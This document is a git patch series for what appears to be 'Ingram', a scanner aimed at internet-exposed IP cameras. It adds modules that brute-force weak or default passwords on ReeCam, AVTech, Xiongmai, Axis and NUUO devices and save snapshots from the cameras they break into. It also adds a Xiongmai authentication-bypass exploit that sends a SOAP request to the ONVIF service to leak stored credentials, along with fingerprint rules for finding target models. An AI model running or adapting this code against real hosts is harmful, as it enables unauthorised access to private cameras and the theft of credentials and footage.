From 04e831cb7c335f2daa4ac788a5161be29ec34d4e Mon Sep 17 00:00:00 2001 From: andyco2008 <67528357+andyco2008@users.noreply.github.com> Date: Sun, 17 Mar 2024 15:03:57 +0800 Subject: [PATCH 1/8] Update run_ingram.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 小小改动。 --- run_ingram.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/run_ingram.py b/run_ingram.py index e57517a..44b23fd 100755 --- a/run_ingram.py +++ b/run_ingram.py @@ -6,7 +6,7 @@ #=================== 需放置于最开头 ==================== import warnings; warnings.filterwarnings("ignore") -from gevent import monkey; monkey.patch_all() +from gevent import monkey; monkey.patch_all(thread=False) #====================================================== import os @@ -63,4 +63,4 @@ def run(): if __name__ == '__main__': - run() \ No newline at end of file + run() From 82d022c1535de8e2824019547e35a3c61d9eee9f Mon Sep 17 00:00:00 2001 From: jor Date: Sat, 10 Aug 2024 02:25:54 +0800 Subject: [PATCH 2/8] add reecam weak passwork --- Ingram/pocs/reecam-weak-password.py | 43 +++++++++++++++++++++++++++++ Ingram/rules.csv | 1 + 2 files changed, 44 insertions(+) create mode 100644 Ingram/pocs/reecam-weak-password.py diff --git a/Ingram/pocs/reecam-weak-password.py b/Ingram/pocs/reecam-weak-password.py new file mode 100644 index 0000000..d374094 --- /dev/null +++ b/Ingram/pocs/reecam-weak-password.py @@ -0,0 +1,43 @@ +import requests + +from loguru import logger + +from .base import POCTemplate + + +class ReecamWeakPassword(POCTemplate): + + def __init__(self, config): + super().__init__(config) + self.name = self.get_file_name(__file__) + self.product = config.product['reecam'] + self.product_version = '' + self.ref = '' + self.level = POCTemplate.level.low + self.desc = """""" + self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent} + + def verify(self, ip, port=80): + for user in self.config.users: + for password in self.config.passwords: + try: + r = requests.get( + url=f"http://{user}:{password}@{ip}:{port}/check_user.cgi", + timeout=self.config.timeout, + headers=self.headers, + verify=False, + stream=True + ) + if r.status_code == 200: + return ip, str(port), self.product, str(user), str(password), self.name + except Exception as e: + logger.error(e) + return None + + def exploit(self, results): + ip, port, product, user, password, vul = results + img_file_name = f"{ip}-{port}-{user}-{password}.jpg" + url = f"http://{user}:{password}@{ip}:{port}/snapshot.cgi" + return self._snapshot(url, img_file_name) + +POCTemplate.register_poc(ReecamWeakPassword) diff --git a/Ingram/rules.csv b/Ingram/rules.csv index 7e690da..d8331db 100755 --- a/Ingram/rules.csv +++ b/Ingram/rules.csv @@ -22,6 +22,7 @@ hikvision,/favicon.ico,md5=`89b932fcc47cf4ca3faadb0cfdef89cf` instar,/,title=`INSTAR`&&title=`Camera` ipcamera,/,headers=`IPCamera`&&status_code=`401` netwave,/,headers=`Netwave IP Camera` +reecam,/,headers=`ReeCam IP Camera` tenda,/,title=`Tenda | login` tenda,/,title=`Tenda|login` tenda,/,title=`Tenda | 登录` From be124d7c2fad35e6b4224e24e2220e0d9b1ddb25 Mon Sep 17 00:00:00 2001 From: jor Date: Tue, 29 Oct 2024 01:01:39 +0800 Subject: [PATCH 3/8] add AVTech weak passwork --- Ingram/pocs/avtech-weak-password.py | 38 +++++++++++++++++++++++++++++ Ingram/rules.csv | 3 +++ 2 files changed, 41 insertions(+) create mode 100755 Ingram/pocs/avtech-weak-password.py diff --git a/Ingram/pocs/avtech-weak-password.py b/Ingram/pocs/avtech-weak-password.py new file mode 100755 index 0000000..29c4602 --- /dev/null +++ b/Ingram/pocs/avtech-weak-password.py @@ -0,0 +1,38 @@ +import base64 + +import requests +from loguru import logger + +from .base import POCTemplate + + +class AVTechWeakPassword(POCTemplate): + + def __init__(self, config): + super().__init__(config) + self.name = self.get_file_name(__file__) + self.product = config.product['avtech'] + self.product_version = '' + self.ref = '' + self.level = POCTemplate.level.low + self.desc = 'AVTech 弱口令' + + def verify(self, ip, port=80): + headers = {'Connection': 'close', 'User-Agent': self.config.user_agent} + for user in self.config.users: + for password in self.config.passwords: + url = f"http://{ip}:{port}/cgi-bin/nobody/VerifyCode.cgi?account={base64.b64encode(f"{user}:{password}".encode('utf8')).decode()}" + try: + r = requests.get(url, headers=headers, verify=False, timeout=self.config.timeout) + if r.status_code == 200: + if r.text.split('\n')[1] == 'OK': + return ip, str(port), self.product, user, password, self.name + except Exception as e: + logger.error(e) + return None + + def exploit(self, results): + pass + + +POCTemplate.register_poc(AVTechWeakPassword) \ No newline at end of file diff --git a/Ingram/rules.csv b/Ingram/rules.csv index d8331db..d0159b8 100755 --- a/Ingram/rules.csv +++ b/Ingram/rules.csv @@ -1,3 +1,6 @@ +avtech,/,title=`::: Login :::` +avtech,/,title=`Remote Surveillance`&&title=`Any time & Any where` +avtech,/nobody/favicon.ico,md5=`6a7e13b3f9197a383c96618fe32e345a` cctv,/,body=`IP Surveillance for Your Life` cctv,/,body=`/nobody/loginDevice.js` cctv,/,headers=`JAWS` From 60daff84d531755e325da092a38a5a62f532e62d Mon Sep 17 00:00:00 2001 From: root Date: Wed, 30 Oct 2024 00:24:44 +0800 Subject: [PATCH 4/8] fix avtech, add xiongmai weakpass --- Ingram/pocs/avtech-weak-password.py | 3 +- Ingram/pocs/xiongmai-weak-password.py | 41 +++++++++++++++++++++++++++ Ingram/rules.csv | 4 ++- requirements.txt | 14 ++++----- 4 files changed, 53 insertions(+), 9 deletions(-) create mode 100644 Ingram/pocs/xiongmai-weak-password.py diff --git a/Ingram/pocs/avtech-weak-password.py b/Ingram/pocs/avtech-weak-password.py index 29c4602..c988ade 100755 --- a/Ingram/pocs/avtech-weak-password.py +++ b/Ingram/pocs/avtech-weak-password.py @@ -21,7 +21,8 @@ class AVTechWeakPassword(POCTemplate): headers = {'Connection': 'close', 'User-Agent': self.config.user_agent} for user in self.config.users: for password in self.config.passwords: - url = f"http://{ip}:{port}/cgi-bin/nobody/VerifyCode.cgi?account={base64.b64encode(f"{user}:{password}".encode('utf8')).decode()}" + account = base64.b64encode(f"{user}:{password}".encode('utf8')).decode() + url = f"http://{ip}:{port}/cgi-bin/nobody/VerifyCode.cgi?account={account}" try: r = requests.get(url, headers=headers, verify=False, timeout=self.config.timeout) if r.status_code == 200: diff --git a/Ingram/pocs/xiongmai-weak-password.py b/Ingram/pocs/xiongmai-weak-password.py new file mode 100644 index 0000000..6e066eb --- /dev/null +++ b/Ingram/pocs/xiongmai-weak-password.py @@ -0,0 +1,41 @@ +import requests +from loguru import logger + +from .base import POCTemplate + + +class XioingmaiWeakPassword(POCTemplate): + + def __init__(self, config): + super().__init__(config) + self.name = self.get_file_name(__file__) + self.product = config.product['xiongmai'] + self.product_version = '' + self.ref = '' + self.level = POCTemplate.level.low + self.desc = 'Xiongmai 弱口令' + + def verify(self, ip, port=80): + headers = {'Connection': 'close', 'User-Agent': self.config.user_agent} + for user in self.config.users: + for password in self.config.passwords: + url = f"http://{ip}:{port}/Login.htm" + data = { + 'command': 'login', + 'username': user, + 'password': password + } + try: + r = requests.get(url, headers=headers, data=data, verify=False, timeout=self.config.timeout) + if r.status_code == 200 and 'failed' not in r.text: + # if r.status_code == 200 and len(r.text) > 5000: + return ip, str(port), self.product, user, password, self.name + except Exception as e: + logger.error(e) + return None + + def exploit(self, results): + pass + + +POCTemplate.register_poc(XioingmaiWeakPassword) \ No newline at end of file diff --git a/Ingram/rules.csv b/Ingram/rules.csv index d0159b8..fad5153 100755 --- a/Ingram/rules.csv +++ b/Ingram/rules.csv @@ -33,4 +33,6 @@ tenda,/,title=`Tenda|登录` tenda,/,title=`Tenda | Web Master` tenda,/,title=`Tenda | Wireless Router` tenda,/favicon.ico,md5=`fa31b29eab2da688b11d8fafc5fc6b27` -uniview,/favicon.ico,md5=`1536f25632f78fb03babedcb156d3f69` \ No newline at end of file +uniview,/favicon.ico,md5=`1536f25632f78fb03babedcb156d3f69` +xiongmai,/,title=`NETSurveillance WEB` +xiongmai,/,title=`NetSurveillance WEB` \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index b2fa32c..39e0ee5 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,10 +3,10 @@ gevent IPy loguru lxml -ndjson>=0.3.1 -pwn~=1.0 -pwntools>=4.3.1 -pycryptodome>=3.9.7 -pyOpenSSL>=19.1.0 -requests>=2.20.0 -tzlocal>=2.1 \ No newline at end of file +ndjson +pwn +pwntools +pycryptodome +pyOpenSSL +requests +tzlocal From 79bb320ecddf38f67117de3723fd8677ead2bcc1 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 30 Oct 2024 23:58:40 +0800 Subject: [PATCH 5/8] add xiongmai bypass poc --- Ingram/pocs/base.py | 2 +- Ingram/pocs/xiongmai-bypass.py | 66 +++++++++++++++++++++++++++ Ingram/pocs/xiongmai-weak-password.py | 15 ++++-- 3 files changed, 79 insertions(+), 4 deletions(-) create mode 100644 Ingram/pocs/xiongmai-bypass.py diff --git a/Ingram/pocs/base.py b/Ingram/pocs/base.py index e7da8c4..1176609 100755 --- a/Ingram/pocs/base.py +++ b/Ingram/pocs/base.py @@ -55,7 +55,7 @@ class POCTemplate: res = requests.get(url, auth=auth, timeout=self.config.timeout, verify=False, headers=headers, stream=True) else: res = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers, stream=True) - if res.status_code == 200: + if res.status_code == 200 and 'head' not in res.text: with open(img_path, 'wb') as f: # 每次写入 10 KB for content in res.iter_content(10240): diff --git a/Ingram/pocs/xiongmai-bypass.py b/Ingram/pocs/xiongmai-bypass.py new file mode 100644 index 0000000..a43f07d --- /dev/null +++ b/Ingram/pocs/xiongmai-bypass.py @@ -0,0 +1,66 @@ +import re +import requests +from loguru import logger + +from .base import POCTemplate + + +class XioingmaiBypass(POCTemplate): + + def __init__(self, config): + super().__init__(config) + self.name = self.get_file_name(__file__) + self.product = config.product['xiongmai'] + self.product_version = '' + self.ref = 'https://github.com/d3fudd/Xiongmai-Net-Surveillance-Authentication-Bypass' + self.level = POCTemplate.level.medium + self.desc = 'Xiongmai authentication bypass' + + def verify(self, ip, port=80): + headers = {'Connection': 'close', 'User-Agent': self.config.user_agent} + url = f"http://{ip}:8899/onvif/Media" + headers = { + "Content-Type": "application/soap+xml; charset=utf-8", + "Accept-Encoding": "gzip", + "User-Agent": "okhttp/3.12.5", + } + xml_payload = """ + + + + + + + + + + + + + + + 000 + + + + """ + try: + r = requests.post(url, headers=headers, data=xml_payload, verify=False, timeout=self.config.timeout) + if match := re.search(r'(.*?)', r.text): + link = match.group(1).replace("&", "&") + user = re.findall('user=(.*)&', link) + password = re.findall('password=(.*)', link) + if user and password: + return ip, str(port), self.product, user[0], password[0], self.name + except Exception as e: + logger.error(e) + return None + + def exploit(self, results): + ip, port, product, user, password, name = results + url = f"http://{ip}:{port}/webcapture.jpg?command=snap&channel=1&user={user}&password={password}" + name = f"{ip}-{port}-{user}-{password}-channel_1.jpg" + return self._snapshot(url, name) + + +POCTemplate.register_poc(XioingmaiBypass) \ No newline at end of file diff --git a/Ingram/pocs/xiongmai-weak-password.py b/Ingram/pocs/xiongmai-weak-password.py index 6e066eb..716b5f5 100644 --- a/Ingram/pocs/xiongmai-weak-password.py +++ b/Ingram/pocs/xiongmai-weak-password.py @@ -1,3 +1,4 @@ +import re import requests from loguru import logger @@ -28,14 +29,22 @@ class XioingmaiWeakPassword(POCTemplate): try: r = requests.get(url, headers=headers, data=data, verify=False, timeout=self.config.timeout) if r.status_code == 200 and 'failed' not in r.text: - # if r.status_code == 200 and len(r.text) > 5000: - return ip, str(port), self.product, user, password, self.name + ch_num = 0 + if channel := re.findall(r'g_channelNumber=(.*);', r.text): + ch_num = int(channel[0]) + return ip, str(port), self.product, user, password, self.name, ch_num except Exception as e: logger.error(e) return None def exploit(self, results): - pass + ip, port, product, user, password, name, ch_num = results + res = [] + for i in range(1, ch_num + 1): + url = f"http://{ip}:{port}/webcapture.jpg?command=snap&channel={i}&user={user}&password={password}" + name = f"{ip}-{port}-{user}-{password}-channel_{i}.jpg" + res.append(self._snapshot(url, name)) + return sum(res) POCTemplate.register_poc(XioingmaiWeakPassword) \ No newline at end of file From c5258e0d2cf0da1e4fd5054b99ccf71675632117 Mon Sep 17 00:00:00 2001 From: jorhelp <2373911050@qq.com> Date: Wed, 20 Nov 2024 00:26:06 +0800 Subject: [PATCH 6/8] add an uniview rule --- Ingram/rules.csv | 1 + 1 file changed, 1 insertion(+) diff --git a/Ingram/rules.csv b/Ingram/rules.csv index fad5153..b0b00b2 100755 --- a/Ingram/rules.csv +++ b/Ingram/rules.csv @@ -34,5 +34,6 @@ tenda,/,title=`Tenda | Web Master` tenda,/,title=`Tenda | Wireless Router` tenda,/favicon.ico,md5=`fa31b29eab2da688b11d8fafc5fc6b27` uniview,/favicon.ico,md5=`1536f25632f78fb03babedcb156d3f69` +uniview,/skin/default_1/images/logo.png,md5=`c30a692ad0d1324389485de06c96d9b8` xiongmai,/,title=`NETSurveillance WEB` xiongmai,/,title=`NetSurveillance WEB` \ No newline at end of file From c8ae84018177356c8c39279b37ea63eea2fa2df0 Mon Sep 17 00:00:00 2001 From: jorhelp <2373911050@qq.com> Date: Mon, 7 Jul 2025 22:33:22 +0800 Subject: [PATCH 7/8] add axis and nuuo webcam --- Ingram/pocs/axis-weak-password.py | 41 +++++++++++++++++++++++++++++++ Ingram/pocs/nuuo-weak-password.py | 40 ++++++++++++++++++++++++++++++ Ingram/rules.csv | 2 ++ 3 files changed, 83 insertions(+) create mode 100755 Ingram/pocs/axis-weak-password.py create mode 100755 Ingram/pocs/nuuo-weak-password.py diff --git a/Ingram/pocs/axis-weak-password.py b/Ingram/pocs/axis-weak-password.py new file mode 100755 index 0000000..3b7169b --- /dev/null +++ b/Ingram/pocs/axis-weak-password.py @@ -0,0 +1,41 @@ +import requests + +from loguru import logger + +from .base import POCTemplate + + +class AxisWeakPassword(POCTemplate): + + def __init__(self, config): + super().__init__(config) + self.name = self.get_file_name(__file__) + self.product = config.product['axis'] + self.product_version = '' + self.ref = '' + self.level = POCTemplate.level.low + self.desc = """""" + self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent} + + def verify(self, ip, port=80): + _users = ['root'] # default user + _passwords = ['pass'] + self.config.passwords + for user in _users: + for password in _passwords: + try: + r = requests.get(url=f"http://{ip}:{port}/jpg/image.jpg", auth=requests.auth.HTTPDigestAuth(user, password), timeout=self.config.timeout, headers=self.headers, verify=False) + if r.status_code == 200: + return ip, str(port), self.product, str(user), str(password), self.name + except Exception as e: + logger.error(e) + return None + + def exploit(self, results): + ip, port, product, user, password, vul = results + url = f"http://{ip}:{port}/jpg/image.jpg" + img_file_name = f"{ip}-{port}-{user}-{password}.jpg" + if self._snapshot(url, img_file_name, auth=requests.auth.HTTPDigestAuth(user, password)): + return 1 + return 0 + +POCTemplate.register_poc(AxisWeakPassword) \ No newline at end of file diff --git a/Ingram/pocs/nuuo-weak-password.py b/Ingram/pocs/nuuo-weak-password.py new file mode 100755 index 0000000..647bd10 --- /dev/null +++ b/Ingram/pocs/nuuo-weak-password.py @@ -0,0 +1,40 @@ +import requests + +from loguru import logger + +from .base import POCTemplate + + +class NuuoWeakPassword(POCTemplate): + + def __init__(self, config): + super().__init__(config) + self.name = self.get_file_name(__file__) + self.product = config.product['nuuo'] + self.product_version = '' + self.ref = '' + self.level = POCTemplate.level.low + self.desc = """""" + self.headers = {'Connection': 'close', 'User-Agent': self.config.user_agent} + + def verify(self, ip, port=80): + for user in self.config.users: + for password in self.config.passwords: + data = { + 'language': 'en', + 'user': user, + 'pass': password, + 'submit': 'Login' + } + try: + r = requests.post(f"http://{ip}:{port}/login.php", data=data, timeout=self.config.timeout, headers=self.headers, verify=False) + if r.status_code == 200 and 'loginfail' not in r.text: + return ip, str(port), self.product, str(user), str(password), self.name + except Exception as e: + logger.error(e) + return None + + def exploit(self, results): + pass + +POCTemplate.register_poc(NuuoWeakPassword) \ No newline at end of file diff --git a/Ingram/rules.csv b/Ingram/rules.csv index b0b00b2..d070295 100755 --- a/Ingram/rules.csv +++ b/Ingram/rules.csv @@ -1,6 +1,7 @@ avtech,/,title=`::: Login :::` avtech,/,title=`Remote Surveillance`&&title=`Any time & Any where` avtech,/nobody/favicon.ico,md5=`6a7e13b3f9197a383c96618fe32e345a` +axis,/favicon.ico,md5=`a3fd8705f010b90e37d42128000f620b` cctv,/,body=`IP Surveillance for Your Life` cctv,/,body=`/nobody/loginDevice.js` cctv,/,headers=`JAWS` @@ -25,6 +26,7 @@ hikvision,/favicon.ico,md5=`89b932fcc47cf4ca3faadb0cfdef89cf` instar,/,title=`INSTAR`&&title=`Camera` ipcamera,/,headers=`IPCamera`&&status_code=`401` netwave,/,headers=`Netwave IP Camera` +nuuo,/,title=`network video recorder login` reecam,/,headers=`ReeCam IP Camera` tenda,/,title=`Tenda | login` tenda,/,title=`Tenda|login` From 9285a2e4b35a124a6c1afd44cf8a01df3e02df7a Mon Sep 17 00:00:00 2001 From: fff122 Date: Tue, 5 May 2026 23:09:42 +0800 Subject: [PATCH 8/8] Fix gevent LoopExit crash and add --no-resume option - Fix gevent.exceptions.LoopExit in SnapshotPipeline.process() by adding timeout to queue.get() and catching exceptions, preventing the thread from crashing when the gevent hub has no pending events - Add --no-resume CLI flag to start a fresh scan instead of resuming from a previous interrupted scan, addressing the need to clear scan cache Closes #118, Closes #135 --- Ingram/data.py | 7 ++++++- Ingram/utils/argparse.py | 1 + 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/Ingram/data.py b/Ingram/data.py index 3ee368e..58e9340 100755 --- a/Ingram/data.py +++ b/Ingram/data.py @@ -36,6 +36,8 @@ class Data: def _load_state_from_disk(self): """加载上次运行状态""" + if self.config.no_resume: + return # done & found & run time state_file = os.path.join(self.config.out_dir, f".{self.taskid}") if os.path.exists(state_file): @@ -187,7 +189,10 @@ class SnapshotPipeline: def process(self, core): while not core.finish(): - exploit_func, results = self.get() + try: + exploit_func, results = self.pipeline.get(timeout=5) + except Exception: + continue self.workers.submit(self._snapshot, exploit_func, results) with self.task_count_lock: self.task_count += 1 diff --git a/Ingram/utils/argparse.py b/Ingram/utils/argparse.py index e138286..302f751 100755 --- a/Ingram/utils/argparse.py +++ b/Ingram/utils/argparse.py @@ -11,6 +11,7 @@ def get_parse(): parser.add_argument('-T', '--timeout', type=int, default=3, help='requests timeout') parser.add_argument('-D', '--disable_snapshot', action='store_true', help='disable snapshot') parser.add_argument('--debug', action='store_true', help='log all msg') + parser.add_argument('--no-resume', action='store_true', help='do not resume from previous scan, start fresh') args = parser.parse_args() return args \ No newline at end of file